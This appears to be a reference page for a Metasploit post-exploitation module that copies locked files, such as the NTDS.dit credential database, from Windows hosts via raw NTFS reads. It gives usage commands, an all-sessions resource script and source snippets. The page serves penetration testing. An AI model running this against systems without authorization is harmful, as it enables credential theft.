Windows File Gather File from Raw NTFS - Metasploit
This page contains detailed information about how to use the post/windows/gather/file_from_raw_ntfs metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Windows File Gather File from Raw NTFS
Module: post/windows/gather/file_from_raw_ntfs
Source code: modules/post/windows/gather/file_from_raw_ntfs.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -
This module gathers a file using the raw NTFS device, bypassing some Windows restrictions such as open file with write lock. Because it avoids the usual file locking issues, it can be used to retrieve files such as NTDS.dit.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/windows/gather/file_from_raw_ntfs
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/windows/gather/file_from_raw_ntfs
msf post(file_from_raw_ntfs) > show options
... show and set options ...
msf post(file_from_raw_ntfs) > set SESSION session-id
msf post(file_from_raw_ntfs) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/windows/gather/file_from_raw_ntfs")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
SESSION: The session to run this module on.
FILE_PATH: The FILE_PATH to retreive from the Volume raw device
Go back to menu.
Msfconsole Usage
Here is how the windows/gather/file_from_raw_ntfs post exploitation module looks in the msfconsole:
msf6 > use post/windows/gather/file_from_raw_ntfs
msf6 post(windows/gather/file_from_raw_ntfs) > show info
Name: Windows File Gather File from Raw NTFS
Module: post/windows/gather/file_from_raw_ntfs
Platform: Windows
Arch:
Rank: Normal
Provided by:
Danil Bazin <[email protected]>
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE_PATH yes The FILE_PATH to retreive from the Volume raw device
SESSION yes The session to run this module on.
Description:
This module gathers a file using the raw NTFS device, bypassing some
Windows restrictions such as open file with write lock. Because it
avoids the usual file locking issues, it can be used to retrieve
files such as NTDS.dit.
References:
http://www.amazon.com/System-Forensic-Analysis-Brian-Carrier/dp/0321268172/
Module Options
This is a complete list of options available in the windows/gather/file_from_raw_ntfs post exploitation module:
msf6 post(windows/gather/file_from_raw_ntfs) > show options
Module options (post/windows/gather/file_from_raw_ntfs):
Name Current Setting Required Description
---- --------------- -------- -----------
FILE_PATH yes The FILE_PATH to retreive from the Volume raw device
SESSION yes The session to run this module on.
Advanced Options
Here is a complete list of advanced options supported by the windows/gather/file_from_raw_ntfs post exploitation module:
msf6 post(windows/gather/file_from_raw_ntfs) > show advanced
Module advanced options (post/windows/gather/file_from_raw_ntfs):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the windows/gather/file_from_raw_ntfs module can do:
msf6 post(windows/gather/file_from_raw_ntfs) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the windows/gather/file_from_raw_ntfs post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(windows/gather/file_from_raw_ntfs) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Module not valid for Windows 2000
- You don't have administrative privileges
- GetLastError
- The file, <FILE_PATH>, does not exist, use file format C:\Windows\System32\drivers\etc\hosts
- Unknown error locating <FILE_PATH>. Windows Error Code: <GETLASTERROR> - <ERRORMESSAGE>
- GetLastError
- Error opening <DRIVE>. Windows Error Code: <GETLASTERROR> - <ERRORMESSAGE>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Module not valid for Windows 2000
Here is a relevant code snippet related to the "Module not valid for Windows 2000" error message:
37: end
38:
39: def run
40: winver = sysinfo["OS"]
41:
42: fail_with(Failure::NoTarget, 'Module not valid for Windows 2000') if winver =~ /2000/
43: fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin?
44:
45: file_path = datastore['FILE_PATH']
46:
47: r = client.railgun.kernel32.GetFileAttributesW(file_path)
You don't have administrative privileges
Here is a relevant code snippet related to the "You don't have administrative privileges" error message:
38:
39: def run
40: winver = sysinfo["OS"]
41:
42: fail_with(Failure::NoTarget, 'Module not valid for Windows 2000') if winver =~ /2000/
43: fail_with(Failure::NoAccess, 'You don\'t have administrative privileges') unless is_admin?
44:
45: file_path = datastore['FILE_PATH']
46:
47: r = client.railgun.kernel32.GetFileAttributesW(file_path)
48:
GetLastError
Here is a relevant code snippet related to the "GetLastError" error message:
44:
45: file_path = datastore['FILE_PATH']
46:
47: r = client.railgun.kernel32.GetFileAttributesW(file_path)
48:
49: case r['GetLastError']
50: when ERROR::SUCCESS, ERROR::SHARING_VIOLATION, ERROR::ACCESS_DENIED, ERROR::LOCK_VIOLATION
51: # Continue, we can bypass these errors as we are performing a raw
52: # file read.
53: when ERROR::FILE_NOT_FOUND, ERROR::PATH_NOT_FOUND
54: fail_with(Failure::BadConfig, "The file, #{file_path}, does not exist, use file format C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts")
The file, <FILE_PATH>, does not exist, use file format C:\\Windows\\System32\\drivers\\etc\\hosts
Here is a relevant code snippet related to the "The file, <FILE_PATH>, does not exist, use file format C:\\Windows\\System32\\drivers\\etc\\hosts" error message:
49: case r['GetLastError']
50: when ERROR::SUCCESS, ERROR::SHARING_VIOLATION, ERROR::ACCESS_DENIED, ERROR::LOCK_VIOLATION
51: # Continue, we can bypass these errors as we are performing a raw
52: # file read.
53: when ERROR::FILE_NOT_FOUND, ERROR::PATH_NOT_FOUND
54: fail_with(Failure::BadConfig, "The file, #{file_path}, does not exist, use file format C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts")
55: else
56: fail_with(Failure::Unknown, "Unknown error locating #{file_path}. Windows Error Code: #{r['GetLastError']} - #{r['ErrorMessage']}")
57: end
58:
59: drive = file_path[0, 2]
Unknown error locating <FILE_PATH>. Windows Error Code: <GETLASTERROR> - <ERRORMESSAGE>
Here is a relevant code snippet related to the "Unknown error locating <FILE_PATH>. Windows Error Code: <GETLASTERROR> - <ERRORMESSAGE>" error message:
51: # Continue, we can bypass these errors as we are performing a raw
52: # file read.
53: when ERROR::FILE_NOT_FOUND, ERROR::PATH_NOT_FOUND
54: fail_with(Failure::BadConfig, "The file, #{file_path}, does not exist, use file format C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts")
55: else
56: fail_with(Failure::Unknown, "Unknown error locating #{file_path}. Windows Error Code: #{r['GetLastError']} - #{r['ErrorMessage']}")
57: end
58:
59: drive = file_path[0, 2]
60:
61: r = client.railgun.kernel32.CreateFileW("\\\\.\\#{drive}",
GetLastError
Here is a relevant code snippet related to the "GetLastError" error message:
64: nil,
65: 'OPEN_EXISTING',
66: 'FILE_FLAG_WRITE_THROUGH',
67: 0)
68:
69: if r['GetLastError'] != ERROR::SUCCESS
70: fail_with(Failure::Unknown, "Error opening #{drive}. Windows Error Code: #{r['GetLastError']} - #{r['ErrorMessage']}")
71: end
72:
73: @handle = r['return']
74: vprint_good("Successfuly opened #{drive}")
Error opening <DRIVE>. Windows Error Code: <GETLASTERROR> - <ERRORMESSAGE>
Here is a relevant code snippet related to the "Error opening <DRIVE>. Windows Error Code: <GETLASTERROR> - <ERRORMESSAGE>" error message:
65: 'OPEN_EXISTING',
66: 'FILE_FLAG_WRITE_THROUGH',
67: 0)
68:
69: if r['GetLastError'] != ERROR::SUCCESS
70: fail_with(Failure::Unknown, "Error opening #{drive}. Windows Error Code: #{r['GetLastError']} - #{r['ErrorMessage']}")
71: end
72:
73: @handle = r['return']
74: vprint_good("Successfuly opened #{drive}")
75: begin
Go back to menu.
Related Pull Requests
- #14696 Merged Pull Request: Zeitwerk rex folder
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5218 Merged Pull Request: Fix #3816 by deleting print_debug
- #5173 Merged Pull Request: fix fail_with errors
- #4849 Merged Pull Request: Ntfs parser bug fix
- #4755 Merged Pull Request: Fix up titles, descriptions
References
See Also
Check also the following modules related to this module:
- post/windows/gather/ad_to_sqlite
- post/windows/gather/arp_scanner
- post/windows/gather/avast_memory_dump
- post/windows/gather/bitcoin_jacker
- post/windows/gather/bitlocker_fvek
- post/windows/gather/bloodhound
- post/windows/gather/cachedump
- post/windows/gather/checkvm
- post/windows/gather/dnscache_dump
- post/windows/gather/dumplinks
- post/windows/gather/enum_ad_bitlocker
- post/windows/gather/enum_ad_computers
- post/windows/gather/enum_ad_groups
- post/windows/gather/enum_ad_managedby_groups
- post/windows/gather/enum_ad_service_principal_names
- post/windows/gather/enum_ad_to_wordlist
- post/windows/gather/enum_ad_user_comments
- post/windows/gather/enum_ad_users
- post/windows/gather/enum_applications
- post/windows/gather/enum_artifacts
- post/windows/gather/exchange
- post/windows/gather/get_bookmarks
- post/windows/gather/hashdump
- post/windows/gather/local_admin_search_enum
- post/windows/gather/lsa_secrets
- post/windows/gather/make_csv_orgchart
- post/windows/gather/memory_dump
- post/windows/gather/memory_grep
- post/windows/gather/netlm_downgrade
- post/windows/gather/ntds_grabber
- post/windows/gather/ntds_location
- post/windows/gather/outlook
- post/windows/gather/phish_windows_credentials
- post/windows/gather/psreadline_history
- post/windows/gather/resolve_sid
- post/windows/gather/reverse_lookup
- post/windows/gather/screen_spy
- post/windows/gather/smart_hashdump
- post/windows/gather/tcpnetstat
- post/windows/gather/usb_history
- post/windows/gather/win_privs
- post/windows/gather/wmic_command
- post/windows/gather/word_unc_injector
Authors
- Danil Bazin <danil.bazin[at]hsc.fr>
Version
This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.